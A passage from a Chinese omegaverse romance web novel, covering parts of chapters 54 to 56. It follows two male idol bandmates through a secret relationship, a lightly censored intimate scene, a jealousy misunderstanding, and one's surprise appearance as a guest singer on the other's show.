当明星的,想要上镜好看,无论是对身材比例还是面部折叠度要求都很高。 方柏嘉人是一米八五,脸却小小一个,整张面孔还没汤昼恒巴掌大,头肩比悦目又和谐,人也比照片上看着更生动,整个人的气质介乎于干净利落的帅气和漂亮之间,眼睛前半部分像狐狸,后半部分像狗狗,眼头尖而眼尾圆润,如同犬科动物的杂糅。 汤昼恒的拇指按上来,沿着他眼睑下方热热地抚上一道,微挑起眉:“所以你来,是想玩我?” 方柏嘉的眼睛一下就睁圆了,脸上发热,有点不可置信地说:“哥哥,你怎么在工作时间搞黄/色?我可没有这么说。” 他咕哝着,顿了顿,又不客气道:“还不是你们剧组这么抠,就给你两天假,搞得我第三天就只能在你家独守空房……那不得能多和你待一会儿就待一会儿啊。” 方柏嘉时间比汤昼恒宽裕点儿,但也就多一天而已,对方后面还要拍戏,那多出来的一天约等于无,他是不满意的。 汤昼恒见这人一脸的不情不愿,一下生起逗弄的心思:“那要不然,你也跟我一起去剧组?” “……” 听到“去剧组”这三个字,方柏嘉的眼神立刻亮了一下。 他抬起头,目光直勾勾地看着汤昼恒,像在认真考虑着什么似的,过了片刻,又百无聊赖地再低下脑袋,重新靠回汤昼恒身上道:“还是算了吧,我可没有那个胆,就在家里等你好了。” 其实他真的有点想去看汤昼恒拍戏,但现场闲杂人员太多,除了狗仔代拍之外,说不定还有蹲点的粉丝,总觉得风险有点大。 背着几乎所有人偷偷暧昧,已经够让人紧张和心虚的了,方柏嘉的心理还没有强大到那个份上。 况且前一晚才睡完,第二天又追着人去剧组“视察”,怎么听怎么像那种耀武扬威的坏嫂子。 还是当自己没来过,低调行事吧。 方柏嘉又抱着汤昼恒沉思了会儿,想起一个他之前没注意过的问题:“话说,你跟剧组请假,用的是什么理由?” 艺人在工作期间请假,都要提前一段时间就和剧组报备沟通,好调整档期和戏份。一人一个月能请的天数不会很多,再多就会耽误进程,所以请假也得分轻重缓急,不会每次都能被批准。 方柏嘉开始好奇汤昼恒是怎么跟剧组说的了。 汤昼恒答得很干脆:“我请的是伴侣假。” “伴侣假——”方柏嘉吃惊地跟着重复了一遍。 汤昼恒轻轻“嗯”了一声:“怎么了吗?” 众所周知,alpha和omega都会有生理假。那么相应的,如果他们的伴侣也面临着发/晴或易感期,每个季度内,这些人也会有一次请“伴侣假”的额度,这是法律的规定。 没想到得到的竟是这样的答案,方柏嘉既觉得在情理之中,又有些意料之外的慌乱。 他急匆匆地连眨了好几下眼,这才把骤然紊乱的呼吸压下:“哦,没什么。” 想想也是,伴侣假这种东西,基本上是最好请的。是个人都有隐私,别人总不至于逼问艺人的男女朋友是谁,反正每三个月也才有一次机会,就算是找借口去干别的事,用也就用了,不会计较太多。 汤昼恒这么说,估计就只是图方便而已,说明不了什么。 别激动,别得意,别提前贷款。 可为什么他的心脏还跳得这么快? “那个,”方柏嘉突然清了清嗓子,“你有没有那什么——” “什么?”汤昼恒第一时间没接收到暗示。 “就是有你气味的东西!”方柏嘉的脸微妙地红了,语调不由自主地提高一点,“让我能抱着躺一会儿的那种。” 临近易感期,alpha受激素波动影响,提前好几天就会对想要的信息素感到渴切。 无奈两边现在分隔异地,方柏嘉手边又没什么可以储存对方气味的东西,忍了许久,从见面起就一直在贪婪呼吸汤昼恒身上的味道。 汤昼恒想起来了什么:“在房间——车里有个卧室,你要是累了可以在里面休息,跟我来。” 所谓房车里面的卧室,不过是个额外用门隔开的空间,面积不算很大,隐秘性倒是不错,乍一进去看见的是个靠着车厢的沙发,把叠在上面的面积展开就成了沙发床。 汤昼恒给他拿了条自己平时补觉盖的空调毯,方柏嘉立刻把它展开围着自己裹了一圈。 这时,小周在外面叩了叩车门,告诉汤昼恒新的场子已经搭好,可以过去了。 “那你走吧。”方柏嘉朝外边噘了噘嘴,“我边玩手机边等你,打发时间很快的。” 汤昼恒提起一边唇角,突然俯下身来抱了抱坐在床上的方柏嘉。 方柏嘉正疑惑着他为什么要这么做,就听汤昼恒在他耳边诚恳道:“好的,先让它代替一下我的职责,等我忙完工作就让你玩。” “……” 方柏嘉猛咳了两声,脸又红了。 …… 结果,他甚至没玩几分钟手机,汤昼恒离开不到二十分钟,方柏嘉就卷着对方给他的空调毯睡着了。 身体周遭都是熟悉又暖人的樱桃清香,令人感到无比安稳,瞬间就抚平了方柏嘉这些天紧绷的情绪。 路程上消耗的精力和生理期前带来的疲倦混杂在一块儿,让他没一会儿就迎来了困意。 再次醒来,汤昼恒已经下工,房车正行驶在去往住宅的路上。 方柏嘉本来只想小憩一下,没想到一口气睡嗨了,一直等到踏进了汤昼恒在这边的住处,整个人都还晕乎乎的,梦游似的被对方领去他睡觉的卧室。 汤昼恒前脚才告诉他另一个卫生间和洗护用具所在的位置,走进浴室里边冲澡,方柏嘉后脚换完睡衣,已是用尽所有的耐心,一秒也多等不了地掀开床上的被子,把自己卷进被窝。 等汤昼恒过了半小时再出来,看见的就是一个倒在床上睡得正香的身影。 “……” 屋里的灯这么亮,这都能着。 对方见他这样,觉得有趣,慢慢走过去坐在床边,伸手去碰方柏嘉的后颈。 指尖才触到皮肤边缘,方柏嘉就被他给弄醒了,迷迷糊糊地“嗯?”一声,睡眼惺忪地睁开双眸望向他。 汤昼恒的手没移开,只是道:“阻隔贴都没摘,就这么睡不难受么?我给你弄下来。” 方柏嘉没说话,只是把脸往枕头里埋了一点,算是默认。 这个面对他的姿势不大好弄,汤昼恒又起身,一条膝盖半跪在床上,弯腰去把他颈后那张有点厚度的遮盖物撕下。 ——临近易感期,基本的防护是要有的,免得路上出了岔子,汤昼恒还不在他身边,会很麻烦。 方柏嘉提前几天就一直在脖子上戴阻隔贴了,白皙一片的脖颈上有一块方形的红痕,贴剂一被除去,立刻从皮肤上涌出股浓郁的奶油香。 汤昼恒将取下来的废弃阻隔贴对折,扔到床边的垃圾桶里,顺手往床头边上的墙壁一摁,“啪”一下关掉房内的大灯。 他重新靠上床,轻轻掀开方柏嘉身上的被子,低头亲了亲青年的唇瓣。 身下的人哼了一声,小狗一样把爪子搭在他肩上,又像嗅到渴望中的香气,不自觉顺着汤昼恒的动作和他接起吻来。 嘴唇很快被人舔/湿,汤昼恒抓住方柏嘉的一只手,将他带着放在自己的身上,放送福利般示意对方来mo。 躯体炙热的温度沿着指腹和掌心一直渡进骨髓深处,汤昼恒挑了挑眉,低声道:“……你这样,看来今晚是没戏了?” “&*¥%#@……” 方柏嘉闭着眼,嘴里叽里咕噜一阵,一副很纠结的、又想睡觉又舍不得对方rou体和美色的样子,吸了吸鼻子说:“困。” 身体却不自觉在汤昼恒的引导下行动起来,开始感受alpha的体温和身体曲线。 从胸口、到腹肌、再到他紧贴在fu壁上tu起的血管。 汤昼恒俯下身,轻轻吮/吻他的喉结和脖颈一侧的脆弱肌肤,被方柏嘉触到的那一块肌/肉因为他的fu摸而微微紧绷起来,说话时由声线带动的颤音通过肌肤传导到他的手上。 “那你还要不要现在玩/我?”他开口,嗓音低沉干净。 “……” 你就拿这个考验干部吗! 方柏嘉抬起下巴,难nai地喘了一声。 没有了阻隔贴的遮挡,干净鲜美的奶油信息素很快如同病毒般在屋内传播开来,和空气中的另一股味道交缠在一起,互相影响,又互相催化。 方柏嘉没一会儿就感觉到了自身状态的变化,仿佛被对方的气味勾出了体内的馋虫,整个人都被激起“食欲”,困意也在短短的几秒内消散了大半。 他闭着眼把wan了好一会儿汤昼恒的rou体,身上越来越热,终于忍无可忍地睁开眼,说:“玩。” 总共就几天的假期,多玩一会儿是一会儿。 方柏嘉一下伸出双手双/腿,挂在来人的身上,两条笔挺瘦长的腿搭着alpha的kua骨,将他的身体往下压。 与此同时,两只膝盖也叫汤昼恒给重重摁下来分开。 …… 于是就这么一发不可收拾,浑浑噩噩地做了两天。 结束后又是一番洗洗涮涮,一直到了凌晨过十二点才算完。 *爱后的方柏嘉懒洋洋地不想动,就着一个姿势躺在床上和汤昼恒聊起天,说了些各自在这段时间发生的事。 最后汤昼恒问他:“饿不饿?要不要点点宵夜来吃。” 方柏嘉思考了一下,点头同意。 四十分钟后,外卖到了。 汤昼恒下楼取了东西回来,和方柏嘉坐在餐桌边开动。 方柏嘉正想和汤昼恒说话,一抬头,视线却被对方脖颈处的某个东西所吸引。 “你这里是怎么……” 方柏嘉忍不住伸手过去,用指腹揉了一下,再揉一下。 蹭不掉。 他的眼神慢慢变了:“糟了哥哥,我好像把你这里吸出印子来了。” 汤昼恒不知道为什么,从刚才起就有点处在走神状态。 听见方柏嘉这么一说,这才回神,下意识也伸手摸了下对方碰过的地方,反应过来自己这样看不到,又打开手机摄像头查看了一下。 真的。 汤昼恒的脖子上靠近喉结的地方,有块红色的长椭圆形痕迹,色泽和质地都还都很新鲜,并且暧昧,属于成年人无师自通的心知肚明。 易感期收不住劲儿,也没有概念,方柏嘉使劲回想,迷迷糊糊间确实在脑海里捡起一点他在意乱情迷时使劲亲着汤昼恒喉结的画面。 然而他在做那事时根本没有自己正在干些什么的意识,竟然无知无觉中给对方制造了个草莓印。 方柏嘉吓了一跳,做错事般看向对方。 汤昼恒怔了怔,手指按着那痕迹,说:“没事,可以盖。” 脸上的表情却看不出他在想什么。 * 两天假期结束,汤昼恒立刻回到剧组接着拍戏。 方柏嘉精神已经恢复得差不多了,在对方家里陪着几只猫一起玩。 他晚上九点回去的车,赶上汤昼恒今天运气不错,下午不到饭点就能收工,两人约好五点钟同时从剧组和家里出发,在当地的某餐厅碰面用餐,然后再送方柏嘉去车站。 吃过晚饭,他们出来后沿着这边的街边散步。 走着走着,汤昼恒突然想起什么,从外套口袋里拿出一个红色的东西递给他:“这个给你,你帮我用了吧。” “这是什么?” 方柏嘉十分惊奇。 他先接过来,然后才意识到汤昼恒给了他一个红包。 摸着薄薄的,感觉里面没装什么东西。 奇了怪了,今天是什么特别的日子吗?没听说过有这种给暧昧对象发红包的习俗啊。 方柏嘉愣愣地把红色包装物打开,往里面看了一眼,抽出一张十块钱的纸币。 汤昼恒:“剧组给的,因为我演的角色今天拍到了牺牲的戏份。” 方柏嘉怔了一下,扭头看向他。 汤昼恒接着解释:“这是剧组里的习惯,会给每个演死人的演员发个红包,拿到了就要当天花掉。” 方柏嘉“啊”了一声,低头看了看手里的物品:“这该不会是那种,做了不吉利的事就要拿喜事去晦气,不及时花完就会倒霉的封建迷信吧?” 汤昼恒忍不住闷笑起来:“有可能,所以我把掌握我命运的关键交给你了。” 方柏嘉听了这话,立刻有点紧张起来,仿佛肩负着什么重任一样,开始在街上东张西望地找起便利店或者小卖部之类的标识。 没过一会儿,果然被他找到。 他二话不说地进去逛了一圈,嘴里轻轻念叨着:“十块,十块,十块……” 挑了瓶刚好十块的饮料付款。 直到钱彻底给出去,他才有松一口气的、不辱使命的感觉。 ……虽然左右不过是图个心理作用,不过嘛,人都是这样弹性迷信的。 能避免的事还是得尽量避免掉。 汤昼恒全程在旁边面带笑意地看着他做完这件事。 两个人从便利店门口出来,方柏嘉莫名变得雀跃,背着手在汤昼恒的身边转来转去,一会儿走在他左边,一会儿又慢慢蹭到他的右边。 最后伸出手,在汤昼恒微微摊开的掌心里轻轻挠了挠。 “哥哥,我好高兴啊。” 汤昼恒侧头看他:“为什么?” “没什么,就是觉得这件事单纯让我很高兴。” 汤昼恒愿意把红包给他,让他帮忙处理,方柏嘉把这看作对他信任的表现。 他仰起脸来,冲汤昼恒笑了笑:“谢谢哥哥。” 说完,又像有点不好意思了似的,兀自和汤昼恒拉开距离,朝前快走了几步,打开那瓶酸奶喝了起来。 汤昼恒:“…………” 过了许久,他挑挑眉。 这是第几次了? 一想撒娇或者撩拨他就这么喊他。 不,或者应该说,方柏嘉最近喊他“哥哥”喊得越来越频繁了。 甚至就在昨夜,意识迷离之时,方柏嘉被汤昼恒欺/负得狠了,说的也都是些“哥哥轻一点”“哥哥太快了”“要被**了哥哥”之类的求饶话语。 理论上说,这是独属于他的称呼,汤昼恒应该高兴。 可方柏嘉越是指代清晰,就越让他清楚地意识到,自己的心里始终有根刺。 ——管别人都是老公老公地叫,到他这里就是哥哥。 汤昼恒面无表情地想。 该说庆幸吗? 本来他也不想和随随便便一个什么别的人共用相同的称号。 但又该说挫败吗? “老公”和“哥哥”听上去实在不是一个级别。 并没有那么介意,但也无法完全做到不介意,更不能让自己表现出不在意。 汤昼恒突然开口:“你很喜欢叫我哥哥?” 末端的尾音轻轻的,仿佛飘在空气中的羽毛,像是漫不经心的问询,又仿佛还掺杂着打量。 方柏嘉此时还没察觉出来危险,低头看着脚下的路说:“对啊,你不觉得这个称呼很好听吗?而且你本来就比我大。” “就只有哥哥,没有别的?”? “什么意思?” 方柏嘉终于稍许体会出对方话里的试探,有点茫然地转过头来,一时间搞不清这个“别的”是在暗指什么。 汤昼恒的脚步忽顿。 他思考了数秒,像在纠结是否有必要在当下这么轻松的氛围里提出一个很有可能扫兴的话题,又实在找不到任何一个理由继续拖延下去,最后还是道:“有一个问题,我一直特别好奇,不知道你能不能为我解答。” 他的嗓音平静,却不同往常。 汤昼恒正常说话时,语气是轻快而放松的,不像现在这样,讲话正经又文绉绉,居然还“有一个问题”,“为我解答”,怎么听都不像是日常聊天该用到的口吻。 方柏嘉心里打起突突,下意识做了个颔首的动作:“你说。” 汤昼恒也不客气,上来就平铺直叙:“你还记得你易感期被我撞见那次吗?我帮忙来给你送药,结果你睡糊涂了,一上来就抱着我喊老公,要我亲你。” “然后第二天醒来,你跟我说你认错人了,让我把昨天晚上的事都忘了。” “……” 方柏嘉原本脸上若有似无的笑容随着这句话被人一点点从口中说出而缓慢消失,逐渐变得呆滞。 “你到底把我认错成哪个alpha了?方柏嘉。” 汤昼恒边说边观察他的表情。 “如果我是‘哥哥’的话,那‘老公’是谁?” 第55章 第 55 章 比格怀疑人生。 那句话在腹稿里穿梭千遍, 终于还是问出了口。 方柏嘉彻底愣住。 像还没理解过来对方这句话里的含义一般,汤昼恒话音落下的头几秒里,他的脸上甚至没出现任何的表情变化。 ——也可能单纯只是被吓傻了。 汤昼恒的盘问来得过于突然, 方柏嘉心脏“咚咚”地重跳了两下,一时间分不清自己是茫然还是慌乱更多。 ……老公?哥哥? 不都是汤昼恒吗? 这个人在说什么呢? 方柏嘉有些六神无主, 不明白汤昼恒怎么又把那么前边的事给翻出来,一副要兴师问罪的态度—— 他第一时间联想到的, 是他们上次看完电影, 对方莫名其妙说出的关于“粉丝”的话。 由于时间相隔不算很长, 又或许是当时的方柏嘉过于心虚, 那段对话给他的感觉甚至像是昨天才刚发生, 一些细节到现在都还能在他脑内清晰地闪现。 汤昼恒说话时玩味的表情, 停顿时像在试探些什么的目光,以及有时会忽然变得飘忽不定、意味深长的语气…… 太不寻常了,方柏嘉想, 他那会儿怎么就没发现呢? 他和汤昼恒正处在暧昧关系当中, 对方却十分突兀地提起一个好几年前的梦男粉, 字里行间处处都是对方怎么怎么喜欢他,又说自己对他印象深刻,难道就不怕方柏嘉吃醋或者生气? 他知道有些闲得发慌的人的确会这么做, 为的是在有好感的对象面前彰显魅力, 让对方知道自己有多“抢手”,从而引发危机感——可这分明不是汤昼恒的风格。 汤昼恒说这些到底要表达什么,想达到什么样的效果? 还是说,他已经猜到了方柏嘉就是当年的那个粉丝,是在试探他? 就因为方柏嘉的那两声“老公”,还有他点评作品的语气和几年前一模一样? …… 那天他听完汤昼恒的讲述, 整个人心情十分的复杂,心虚之中同时包含着点感慨和惊奇。 自己居然有那么大的魔力,可以让汤昼恒一个不知道见识过多少粉丝的大明星直到现在都记忆犹新? 假的吧? 还是说因为太雷人又太极品了,所以才始终忘不掉,想起来就牙痒痒。 方柏嘉设身处地地想了想,如果是他,会不会觉得对面是个消费别人好意的奇葩白眼狼。 更别提一旦让汤昼恒知道,当年的那个粉丝非但没有落选,后来还和他一起进了同一个组合,当了四年不熟的队友。 装作不认识也就罢了,居然还各种语言“挑衅”…… 方柏嘉后悔得现在就想找个墙撞一撞。 真向对方坦白了,对方会不会觉得又他是个人品堪忧的撒谎精,降低对他的好感度? 方柏嘉的脑海里已然脑补出汤昼恒得知真相后大失所望地表示“我们不合适”的场景—— 否则他实在想不出来第二个能让对方时隔多年还如此念念不忘的理由。 不行,这么黑历史的往事,就该让它烂在肚子里,谁问也不行。 可如果不这么说,他又该怎么回答? 汤昼恒就在面前看着他,还等他做出回应。 对方不是容易被搪塞的人,他就算说谎,汤昼恒也绝对会有所察觉…… 想到这里,方柏嘉不由缓缓戴上了痛苦面具。 纠结的心情写在脸上,他下意识做了个苦瓜脸的表情,看起来十分的为难。 过了两秒,又惊觉自己现在这个表现太明显了,赶忙调整了面部的神色。 稳住,方柏嘉。 他在心里默念自己的名字。 首先,要冷静;其次,不能被对方给带偏。 “我……我那个——” 沉默。疯狂的沉默。 一片死寂中,方柏嘉仿佛听见自己血管内的血液在咆哮。 他支支吾吾地“我”了半天,依旧没有下文。 实在想不到该说什么,又好像多说一点都有可能暴露,最好也最安全的做法就是闭上嘴。 青年遮遮掩掩又不肯直面回应的模样映在汤昼恒的眼中,无疑加重并肯定了对方的猜测。 看来方柏嘉不想说。 那么他之前把汤昼恒认成别人,叫错称谓,甚至像秦高阳说的那样,一度把汤昼恒当成“替身”,也都是真的了。 汤昼恒冷静地这样想。 再抬眼看着方柏嘉明显躲闪的表情,忍不住叹了口气。 汤昼恒突然就改了口:“算了,你就当我没问过吧。” 他抬手看了眼腕表上的时间:“过七点了,我叫小周过来接我们,送你去车站。” 没过几分钟,一辆低调的黑色商务车自街角向着两人驶来。 * 路程上一个多小时,他们都没怎么说话。 一来是有司机和助理听着,二人也不好接着在旁人面前聊隐私相关的话题。 二来……方柏嘉隐约能察觉到,自己和汤昼恒间的气氛在对方那几个提问后发生了变化。 仿佛有什么东西隐隐挡在他们当中的感觉又出现了。 方柏嘉坐在车里,看似身体放松地靠在后座靠背上,其实背脊都是僵硬的。 他用了大半路程的时间来积蓄勇气,终于在距离目的地车站还剩十五分钟车程时转过头,眼巴巴又大胆地瞧着坐在一旁的汤昼恒。 想了想,把手轻轻搭在他靠近自己这侧的手背上。 汤昼恒收到信号,明显愣了愣,紧接着手腕一翻,从善如流地和方柏嘉十指合握。 年长一岁的alpha手比他长一些,也大一点,两个人的骨节突起处都是分明而漂亮的,露在上面的指甲颜色粉润而边缘整洁。 温热的触感从掌心相贴处传来,方柏嘉忍不住又瞧了眼汤昼恒的脸。 他垂着眸,正低头看向二人交叠在一起的手掌。 没抬头,也没和方柏嘉的对视,好像这只是再正常不过的一个动作。 方柏嘉心里却咯噔一下。 汤昼恒的表现不对劲。 正常情况下,对方这会儿就该看着他的眼睛对他笑了。 而不是一路上都那么沉默、心事重重的样子。 ……所以汤昼恒果然是不高兴了。 商务车很快开到了高铁站外。 直至和汤昼恒挥手说再见,两人都没再就刚才的话题进行交流。 方柏嘉回到他在另一个城市录综艺暂住的酒店,已经是快凌晨一点。 路程的奔波令人疲惫,他简单收拾了下,一头栽倒在床上的瞬间,脑海里闪过一句话: 可是汤昼恒到底在不高兴些什么? 方柏嘉在床上一个翻身打开手机,点进和汤昼恒的微信对话界面看了眼。 两人上一次交流在一个多小时前,是他刚到酒店时按照对方要求发的安全报备,汤昼恒回得很快,十分钟左右就发了句“收到,早点休息”。 啧。 不知道是不是心理作用,方柏嘉总感觉这句话也有点冷淡。 他无聊地在屏幕上扒拉了两下,好像能用手指划出两条新消息似的,越想越有点来气。 汤昼恒什么意思,就一定要他承认才行吗? 谁没有年少轻狂过,小时候干的那点蠢事有什么必要过了这么久再拿出来说,对方是第一天知道他脑子结构异于常人还是怎样?! 还是说汤昼恒alpha的恶趣味发作,想让方柏嘉承认他好多年前就喜欢他了,从而获取愉悦,占领心理上的高位? 坏男人,就因为这种小事就和他闹别扭。 方柏嘉心里涌上来一股理不直气也壮的无名火,气得打开小号输出了一通。 发完一扔手机,睡了。 第二天醒来,照常在酒店吃了点早餐就去节目组上班。 挨到下午的休息时间,自己倒是把昨夜的气消得差不多了。 方柏嘉磨磨蹭蹭拿出手机,开始怂怂地给汤昼恒敲消息:【哥哥,你是不是生气了?】 这条发出去良久,没有回应。 方柏嘉无暇细思对方究竟是看到了不想回,还是真的在忙没空,想了想又接着打字。 方柏嘉:【关于那件事,我不是故意不回答你的】 方柏嘉:【好吧,我想不用我说,其实你也大概猜到了,我没有说想一直隐瞒你或者怎样,但是!!!你得让我有点心理准备!】 方柏嘉:【有些事情不是那么容易就说出口的】 方柏嘉:【[楚楚可怜]】 发完这些,方柏嘉又补充一句:【哥哥……不要不高兴,下个月等我有假再去找你玩好不好?】 过了大概三四个小时,等到方柏嘉都回酒店了,对面才回复。 汤昼恒:【没有不高兴。】 汤昼恒:【今天一直在拍戏,刚才才拿到手机】 他引用了方柏嘉说要去找他玩的那句话。 汤昼恒:【先不急,我那个时候行程还没定,你来了可能也没时间陪你】 汤昼恒:【到时候再看吧】 方柏嘉:“……” “!!!” 还说没有不高兴! 明明连他说要去陪他都失去兴趣了。 方柏嘉呆呆地放下手机。 比格震惊,比格困惑,比格怀疑人生。 比格开始焦虑地在房间里走来走去。 这就是alpha吗?上一秒还热情似火无微不至,下一秒有了隔阂就开始找各种理由冷落你,仿佛之前的各种甜蜜和温柔都是假的。 嘴上还装出是为了对方着想的样子,虚伪的男人。 原来就连汤昼恒这样的也无法免俗。 方柏嘉吸了一下鼻子,回到床边拿起手机,似乎还想说些什么,但最终只蔫蔫地打了个“哦”。 只因他也实在不知道,自己是否有足够的勇气这么快就向对方坦诚。 啊啊啊烦死了!—— 方柏嘉猛地将身体向后仰去,倒在床上。 …… 殊不知刚下工的汤昼恒也在反思自己。 昨天不该那么说的。 我到底在搞什么? 他忽然醒悟过来似的,匪夷所思地想。 做这种事情究竟有什么必要。 说白了,方柏嘉就算在他前面还喜欢过别人,他又能怎样。 自己一开始也不是不清楚这一点。 如果他真有那么在意,起初就不该和方柏嘉接着发展。 既然选择了跟对方继续,那他现在就算知道了那个人究竟是谁,也不会起到任何作用,只会他们两个都不高兴。 无论怎么看,这都是一个太不明智的举动。 汤昼恒轻轻叹了口气。 等反应过来,他的双手已经不由自主地打开了微博,指尖在搜索框上游弋。 意识到自己想做什么的时候,汤昼恒有些怔住。 时间过得太久,他早就不是很记得方柏嘉当年那个ID了。 更何况,如果他没记错,就在方柏嘉跟他说自己没选上后没过多久,对方就把那个号里的内容全清空了,头像和账号名字也改成最简单的灰色人像和原始的“用户xxxxx”—— 后面是一串数字编码。 他们也就短暂地联系了两次,方柏嘉就从他的眼皮底下悄然地“销声匿迹”了。 尽管如此,抱着某种奇怪的心理,汤昼恒后来有将近好几个月的时间,还是偶尔会去对方的主页看上一眼。 对方不再给他发消息,账号很快就被顶到私信界面的最下面。 汤昼恒每次找他都需要特意在搜索栏里输入他的ID,就是那串数字编码。 也不需要全打出来,有其中六个就行。 汤昼恒太久没这么做过,记忆有些模糊。 他努力地回忆了一下,反复试着输入了好几次,终于在第六次时,页面上的搜索结果展现出了一串熟悉的字符。 几乎是见到它的第一眼,汤昼恒就认出了它。 他手指停了停,抱着自己也说不清的心态点进灰扑扑的头像,本以为看到的会是一个空空如也的首页—— 然而,汤昼恒整个人都在页面跳转后顿住了。 这个号不久前发过东西。 而且不止一条。 汤昼恒瞬间屏住了呼吸。 他强迫自己不第一时间去看对方发布了什么,而是点开私信图标验证。 ……过了几年了,他和那人间的对话还保存着。 确认这就是方柏嘉的账号后,他退回到主页,对着最新一条发布于昨天的文字内容端详了许久。 然后,手指划动着慢慢向下。 * 从某店回来后没多久,方柏嘉就又继续投入到了繁忙的综艺拍摄中。 随着时间的推进,比赛的难度逐渐呈阶梯状递增。方柏嘉这几个月没接太多需要外出的商务活动,基本都泡在了现场。 中间就和汤昼恒在微信上聊了聊天,但因为两人都挺忙的,交流也不太多。 方柏嘉上次说的要去找他,也因为汤昼恒迟迟没有表态而错过了最佳时机。 新赛程眼看着开始了,方柏嘉也只好收起那些有的没的想法,继续专心扑在节目上。 他很快听说,这个赛段有个“嘉宾帮唱”的环节,节目组提前已经帮他们选好了人,只是事先保密。 赛段的前十来天,流程照旧。直到距离正式上台还有一周,他们才终于要和帮唱嘉宾会面。 得知这个消息的时候,方柏嘉正带领着手下的队员在场馆的后台等待彩排。 除去合作舞台,他们另外还有三首歌也要排练。 晚上十一点,大家都饥肠辘辘,百无聊赖的人在走廊上到处活动,也有人听说嘉宾要来,早早就在外面等候,休息室里反而没什么人。 方柏嘉坐在化妆台边摆弄着手机,忽听见一阵喧嚣的尖叫和欢呼声在离他很远的地方爆发开来,通过狭窄的走廊一直传到这一头。 然后又是些很吵的对话声,隐约间能听到“您就是……”“哇,太棒了!”之类的碎片。 感受到外面的动静,房间里剩下的学员都按捺不住了,纷纷走出去打探。 方柏嘉也是一脸的诧异,不过他见惯了场面,自认没什么事能够让他大惊小怪,冲旁边剩下唯一一名女性学员使了个眼色:“外面怎么了?” “不知道啊。”女生也是懵的,见状会意地起身出门查看。 结果人才走出门口没几步,紧接着也是一声惊喜的尖叫:“师兄!” 像是在外边撞上什么人。 两人低声交谈几句,女生朝着走廊远处跑走了。 “……” 似乎意识到了什么,原本还懒散没个正型地陷在转椅里的人缓慢地将跷起的二郎腿放了下来。 女生就是他之前帮忙听歌的公司里的师妹。 她刚才叫人“师兄”。 可这里哪来的第二个师兄? 方柏嘉的心脏咚咚快跳着坐直了。 就在他抬起头的那一刻,大开着的休息室门口慢悠悠走进来一个人。 又高又瘦一个,肩宽腰窄,穿着黑色的贴身里衣和做旧的牛仔夹克。 汤昼恒看到坐在屋中的方柏嘉,冲他露出一个熟悉的微笑。 方柏嘉双手搭在座椅两边,是一个正准备借力站起来的动作,看清来人的容貌,不由得整个人都呆住—— 千想万想没想到此刻出现在这里的会是他,大脑仿佛被冰封住,好几秒没下达任何指令。 只有嘴角诚实地进行了一个复制粘贴,在看到汤昼恒的瞬间忍不住地扬起来,随后又感觉这样有点傻,人为地再将其按下去,变成一个下唇向上顶的、忍俊不禁般的动作。 如果旁边没有器材在拍,方柏嘉说不定会扑上去抱他一下。 可惜这是在镜头底下。 眼睛余光看见一旁的摄像机,方柏嘉一再将自己的面部表情控制再控制:“……你怎么来了?” 方柏嘉终于站起来,有点紧张地朝他走过去。 汤昼恒嘴角的笑意若有似无:“很奇怪吗?我是节目组专门为你请来的帮唱嘉宾。” 第56章 第 56 章 哥哥=老公=我 “不是……这是什么时候的事啊?”方柏嘉还是一脸没反应过来的梦幻状态, “你怎么都没跟我说过?” 像这种需要占用一定时间的综艺录制,越是火的艺人,越需要提前很久就开始沟通。 汤昼恒这会儿正在拍戏, 想要出来跑别的通告,起码要至少一两个月前就确定下来。 也就是说, 他上次去找对方的时候,汤昼恒应该就已经在和节目对接了。 可汤昼恒居然一点都没跟他提到。 搞得他还心事重重的, 以为汤昼恒不让他去找他是还没原谅他呢。 碍于房间里还在录像, 方柏嘉没能把话说得太仔细。 但汤昼恒无疑猜出了他的言下之意, 同样一语双关地道:“说了还算什么惊喜?导演本来就要求保密。怎么, 吓到你了?” 方柏嘉:“……” 何止是吓到。 方柏嘉的嘴角险些又压不住了。 哼。还知道来找我啊。 总感觉站在原地的样子有点傻, 他咳嗽一声说:“你干什么了?弄得他们在外面鬼哭狼嚎的, 全都跑了。” 方柏嘉决定去看看究竟。 走廊上此时已变得空荡无人,反而是与之相连的大厅依旧发出喧闹声响。 方柏嘉循声找去,发现大厅的桌子上不知怎么多了堆一看就是刚送过来的、小山般的外卖袋。 他们战队的所有人都聚集在这边, 一个个如狼似虎, 迫不及待地拆袋子、挑食物, 方柏嘉大略看了眼,除了食物饮料外,竟然还有盒装的果切。 众人看见汤昼恒出来, 又是一通大拍马屁。 “谢谢帅哥!” “汤哥真的太客气了, 来了还给我们带吃的……” 方柏嘉一下就明白过来,回头瞄了汤昼恒一眼:“这都是你弄的?” 汤昼恒歪了歪头:“要不要吃点?” “你来上个节目,还搞这些。”方柏嘉这么说着,人却很诚实地走过去,在边角处挑挑选选地拿了杯低糖的柠檬茶。 闹出的动静太大,就连其他战队的成员都被惊动了, 纷纷从各自的休息室走出来围观这是什么情况。 路过见到吃的,口水都快流到地上了:“我靠!你们这什么福利,嘉宾还给带吃的,我们怎么没有?” 说着,“咸猪手”试图伸上来顺走一盒炸鸡。 “去去去,你懂什么叫家属福利!”离他最近的学员凑上来开始赶人。 “那汤哥和我们老大是一家的,我们属于家族内部人员,是嫡子,当然享受的是常人没有的待遇,你们能比吗?” 旁边立刻有同一战队的人跟着附和。 “就是,你懂什么叫爱屋及乌吗?有本事你让你们战队的帮唱嘉宾也买去啊。” 听得方柏嘉脸热得不行,叼着吸管又差点被呛到。 什么家属、什么爱屋及乌的…… 其实方柏嘉也知道,这些人没别的意思,就是单纯想表达大家靠他这一层关系蹭到了好处。 毕竟他俩是一个组合的,是个人都能看出来,汤昼恒买这些东西,纯粹是看在方柏嘉的面子上。 可这些话落在方柏嘉这种做贼心虚的真·半个家属里,能体会到的意思就很丰富和多样了。 方柏嘉忍不住想偏一瞬,脸上慢慢升温,仿佛提前感受了一回公开的感觉,有些局促地望了身旁的汤昼恒一眼。 对方倒是还一副游刃有余的样子,微微偏头,眼睛含笑地和他对视。 这家伙倒是挺冷静! 方柏嘉咳嗽了一声,环视一周道:“行了。给你们带了吃的,你们说谢谢就完了,别在那儿瞎炫耀。” 他掏出手机看了眼:“给你们十五分钟,速战速决,排练马上要到我们了。” * 帮唱嘉宾大晚上过来拜访,自然不是为了现在就开始练习,单纯是提前一天过来,熟悉一下这边的环境氛围,顺便现场观赏了一下战队的彩排过程,了解了大致风格。 凌晨一点,彩排结束。 选手们都在节目组统一安排的宿舍休息,方柏嘉和汤昼恒则跟另外几名在演播厅门口碰到的嘉宾一起回了就在影视基地附近的某家五星酒店: 